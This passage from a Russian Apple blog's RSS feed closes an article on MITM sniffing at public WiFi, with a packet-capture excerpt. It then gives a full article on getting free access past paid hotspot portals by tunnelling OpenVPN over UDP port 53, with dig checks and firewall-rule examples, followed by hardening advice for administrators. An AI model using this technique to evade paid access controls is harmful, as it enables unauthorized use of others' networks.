  0.000000 Apple_e2:a6:0c -> Apple_43:7e:5b ARP 192.168.99.1 is at 00:26:08:e2:a6:0c
  2.000779 Apple_e2:a6:0c -> Apple_43:7e:5b ARP 192.168.99.1 is at 00:26:08:e2:a6:0c
  4.001618 Apple_e2:a6:0c -> Apple_43:7e:5b ARP 192.168.99.1 is at 00:26:08:e2:a6:0c
  4.837984 192.168.99.12 -> 17.148.16.43 TLSv1 Application Data
  4.838017 192.168.99.12 -> 17.148.16.43 TLSv1 [TCP Out-Of-Order] Application Data
  4.838547 192.168.99.12 -> 74.125.43.109 TLSv1 Application Data
  4.838561 192.168.99.12 -> 74.125.43.109 TLSv1 [TCP Out-Of-Order] Application Data
  4.941498 192.168.99.12 -> 74.125.43.109 TCP 49485 > imaps [ACK] Seq=39 Ack=257 Win=32904 Len=0 TSV=840277595 TSER=2004098461
  4.941578 192.168.99.12 -> 74.125.43.109 TCP [TCP Dup ACK 8#1] 49485 > imaps [ACK] Seq=39 Ack=257 Win=32904 Len=0 TSV=840277595 TSER=2004098461
  4.945409 192.168.99.12 -> 74.125.43.109 TLSv1 Application Data
  4.945452 192.168.99.12 -> 74.125.43.109 TLSv1 [TCP Out-Of-Order] Application Data
  5.044213 192.168.99.12 -> 74.125.43.109 TCP 49485 > imaps [ACK] Seq=69 Ack=293 Win=32959 Len=0 TSV=840277596 TSER=2004098546
  5.044263 192.168.99.12 -> 74.125.43.109 TCP [TCP Dup ACK 12#1] 49485 > imaps [ACK] Seq=69 Ack=293 Win=32959 Len=0 TSV=840277596 TSER=2004098546
  5.098574 192.168.99.12 -> 74.125.43.109 TLSv1 Application Data
  5.098645 192.168.99.12 -> 74.125.43.109 TLSv1 [TCP Out-Of-Order] Application Data
  5.103338 192.168.99.12 -> 17.148.16.43 TCP 49585 > imaps [ACK] Seq=39 Ack=332 Win=32859 Len=0 TSV=840277597 TSER=2076082298
  5.103411 192.168.99.12 -> 17.148.16.43 TCP [TCP Dup ACK 16#1] 49585 > imaps [ACK] Seq=39 Ack=332 Win=32859 Len=0 TSV=840277597 TSER=2076082298
  5.109752 192.168.99.12 -> 17.148.16.43 TLSv1 Application Data
  5.109792 192.168.99.12 -> 17.148.16.43 TLSv1 [TCP Out-Of-Order] Application Data
  5.114479 192.168.99.12 -> 195.47.212.25 SSL Client Hello</small>
</pre>
<p>Как вы видите, MITM реализуется очень просто. Поэтому не рекомендую работать с важными данными и входить на критические сайты через публичные точки WiFi. Лучше использовать мобильный Интернет, здесь перехватить трафик любому желающему, сидящему за соседним столиком, нереально. Или же использовать VPN. А проще всего всегда контролировать, что используется именно SSL и данные не идут через незашифрованные http, pop3 и imap.</p>
]]></content:encoded>
			<wfw:commentRss>http://theapplegeek.ru/archives/1926/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Как при доле везения и с предварительной подготовкой получить бесплатный доступ в Интернет через платный WiFi</title>
		<link>http://theapplegeek.ru/archives/283</link>
		<comments>http://theapplegeek.ru/archives/283#comments</comments>
		<pubDate>Sat, 12 Sep 2009 12:41:49 +0000</pubDate>
		<dc:creator>ctrld</dc:creator>
				<category><![CDATA[Статьи]]></category>
		<category><![CDATA[wifi]]></category>

		<guid isPermaLink="false">http://ctrld.me/?p=283</guid>
		<description><![CDATA[Предупреждение Для реализации методики нужно иметь свой выделенный или виртуальный сервер в Интернет, web-хостинг не подходит. У кого этого сервера нет, может продолжить читать только ради теоретического интереса. Также нужны хотя бы базовые знания и навыки по системному администрированию. Статья написана с целью показать узкие места в защите коммерческих точек доступа WiFi, я не пропагандирую [...]]]></description>
			<content:encoded><![CDATA[<h2>Предупреждение</h2>
<p>Для реализации методики нужно иметь свой выделенный или виртуальный сервер в Интернет, web-хостинг не подходит. У кого этого сервера нет, может продолжить читать только ради теоретического интереса. Также нужны хотя бы базовые знания и навыки по системному администрированию.</p>
<p>Статья написана с целью показать узкие места в защите коммерческих точек доступа WiFi, я не пропагандирую взлом, но хочу показать, что если немного подумать, то можно найти интересные методы решения любой задачи.</p>
<h2>Вступление</h2>
<p>Периодически бывает необходимость попасть в Интернет в публичном месте вроде торгового центра, кафе или зала ожидания. Но в основном доступ весь платный &#8211; входишь в открытую сеть, пытаешься открыть любой сайт и тебя перебрасывает на страницу авторизации с предложением ввести логин/пароль или купить доступ.</p>
<p>И тут закономерно возникает мысль, что люди вообще и сетевые администраторы в частности ленивы и далеко не всегда профессиональны. Поэтому во многих сетях есть дыры, о которых персонал либо не догадывается, либо же закрывает глаза на их существование ввиду сложности их использования. Да и потери от часа бесплатного использования Интернет одним человеком из тысячи мизерны.</p>
<p><span id="more-283"></span></p>
<h2>Методика</h2>
<p>Сразу предупреждаю, что методика работает далеко не всегда.</p>
<p>При подключению в открытую сеть в любом случае сервис DNS работает &#8211; нужно отрезолвить имена сайтов, чтобы ноутбук клиента попытался обратиться наружу и чтобы этот трафик был перенаправлен на прозрачный прокси, проводящий авторизацию. И вот здесь некоторые сетевые администраторы (достаточно многие, это проверено на практике) допускают грубую ошибку или же допускают компромис из желания сэкономить.</p>
<p>Вместо того, чтобы поставить сервер DNS и разрешить взаимодействие только с ним:
<pre>permit udp from &lt;client subnet&gt; <b>to &lt;dns&gt;</b> port 53</pre>
<p>разрешают весь трафик DNS</p>
<pre>permit udp from &lt;client subnet&gt; <b>to any</b> port 53</pre>
<p>А раз по 53-му порту UDP открыт полный доступ, то глупо этим не воспользоваться, и не повесить VPN-сервер снаружи на 53-й порт. Строится туннель, и полноценно и бесплатно работаешь.</p>
<h2>Проверка на возможность применения методики</h2>
<p>Проверяем, есть ли прямой доступ к внешним DNS-серверам (чувствую себя неловко, говоря, что для этого нужно запустить Terminal.app. Пока не нашёл баланс между простотой изложения и отсутствием ненужных деталей, поэтому буду периодически излагать на разных уровнях доступности&#8230;).</p>
<p>Команда dig служит для получения информации с DNS-серверов. Запуск без ключей обозначает получить данные об адресах корневых серверов DNS. Обращаем внимание на выделенное жирным. &#8220;status: NOERROR&#8221; &#8211; DNS-сервер в сети WiFi отвечает. Запоминаем адрес одного из корневых серверов в &#8220;ADDITIONAL SECTION&#8221;, это 198.41.0.4 (может меняться).</p>
<pre>
ole-mac:~ ctrld$ dig
...
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, <b>status: NOERROR</b>, id: 20291
...
;; ANSWER SECTION:
.			434637	IN	NS	a.root-servers.net.
.			434637	IN	NS	b.root-servers.net.
...
;; ADDITIONAL SECTION:
a.root-servers.net.	91966	IN	A	<b>198.41.0.4</b>
b.root-servers.net.	571815	IN	A	192.228.79.201
...
;; SERVER: 213.179.249.133#53(213.179.249.133)
;; WHEN: Sat Sep 12 14:58:06 2009
;; MSG SIZE  rcvd: 500
</pre>
<p>Пытаемся доступиться к внешнему DNS-серверу, адрес которого получен на предыдущем шаге. Команда &#8220;dig @198.41.0.4 . ns&#8221; говорит обратиться к серверу 198.41.0.4 и запросить перечень DNS-серверов (модификатор &#8220;ns&#8221;), отвечающих за корневую зону &#8220;.&#8221;.</p>
<pre>
ole-mac:~ ctrld$ dig @198.41.0.4 . ns
...
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, <b>status: NOERROR</b>, id: 59373
...
;; ANSWER SECTION:
.			518400	IN	NS	G.ROOT-SERVERS.NET.
.			518400	IN	NS	F.ROOT-SERVERS.NET.
...
;; ADDITIONAL SECTION:
A.ROOT-SERVERS.NET.	3600000	IN	A	198.41.0.4
A.ROOT-SERVERS.NET.	3600000	IN	AAAA	2001:503:ba3e::2:30
...

;; Query time: 213 msec
;; <b>SERVER: 198.41.0.4#53(198.41.0.4)</b>
;; WHEN: Sat Sep 12 14:58:34 2009
;; MSG SIZE  rcvd: 500
</pre>
<p>Если ответ получен (status: NOERROR) и адрес &#8220;SERVER: 198.41.0.4&#8243; тот же, к которому мы обращались, то всё в порядке, методика сработает.</p>
<p>Доступа не будет, если получено что-то вроде этого:</p>
<pre>
ole-mac:~ ctrld$ dig @198.41.0.4 . ns

; <<>> DiG 9.6.0-APPLE-P2 <<>> @198.41.0.4 . ns
; (1 server found)
;; global options: +cmd
;; <b>connection timed out; no servers could be reached</b>
</pre>
<p>Если прямого доступа нет, то не всё потеряно. Нужно перейти к проверке работы следующего метода, который я опишу в следующей статье.</p>
<h2>Серверная часть</h2>
<p>Как я сказал в самом начале, нужно иметь в Интернет выделенный или виртуальный сервер, на который можно поставить VPN-сервер. Детали описывать не буду, эта задача проста для любого системного администратора.</p>
<p>Требования к VPN-серверу просты:</p>
<ul>
<li>Сервер должен использовать протокол udp.</li>
<li>Его нужно установить на порт 53/udp.</li>
</ul>
<p>Я использую сервер OpenVPN, это бесплатное решение под лицензией GPL, работающее под Unix и Windows. Сам сервер и документация по его настройке доступна <noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://www.openvpn.net/index.php/open-source.html" >на сайте OpenVPN</a></noindex>. Лучше ставить <noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://www.openvpn.net/index.php/open-source/downloads.html" >версию 2.1 beta</a></noindex>.</p>
<h2>Клиентская часть</h2>
<p>Для подключения к OpenVPN-серверу нужен клиент для MacOS X (установка клиента OpenVPN &#8211; отдельный вопрос, не буду останавливаться). Есть такие варианты:</p>
<ul>
<li>Консольная <noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://www.openvpn.net/index.php/open-source.html" >клиентская часть OpenVPN</a></noindex>, запускается из терминала.</li>
<li><noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://www.macupdate.com/info.php/id/16969" >Tunnelblick</a></noindex> &#8211; GUI для OpenVPN. Бесплатная программа, но у меня она сбоила.</li>
<li><noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://www.viscosityvpn.com/" >Viscosity OpenVPN Client</a></noindex>. Платная, красивая и стабильно работающая программа, рекомендую.</li>
</ul>
<p style="clear: both"><img src="http://theapplegeek.ru/wp-content/uploads/2009/09/02_wifi-thumb.png" height="251" width="380" /></p>
<p>Настраиваем соединение с OpenVPN (не буду останавливаться и на этом, описание сделаю в отдельной статье), подключаемся и наслаждаемся бесплатным Интернет.</p>
<h2>Рекомендации по защите точек доступа для сетевых администраторов</h2>
<p>Я регулярно пользуюсь этим методом и в половине аэропортов, где я бываю, он работает. Для защиты нужно:</p>
<ol>
<li>Давать доступ из клиентской сети исключительно к адресу своего DNS-сервера.</li>
<li>По идее точки доступа используют для accounting&#8217;а RADIUS, и все клиенты проходят через transparent proxy. Поэтому можно написать простые скрипты, анализирующие, стал ли клиент после подключения пользоваться прокси, и если нет, то через какое-то время отключать его. А если он при этом генерирует трафик вне прокси, то запрещать возможность доступа по mac-адресу. (Примечание &#8211; клиент может переподключаться раз в 5 минут и менять mac-адрес, и тут сделать ничего нельзя, кроме попытки физического поиска, что обычно бессмысленно).</li>
</ol>
<p><br class='final-break' style='clear: both' /></p>
]]></content:encoded>
			<wfw:commentRss>http://theapplegeek.ru/archives/283/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using memcached (user agent is rejected)
Page Caching using memcached (user agent is rejected)
Database Caching 6/27 queries in 0.008 seconds using memcached
Object Caching 545/569 objects using memcached

Served from: theapplegeek.ru @ 2010-07-31 03:02:14 -->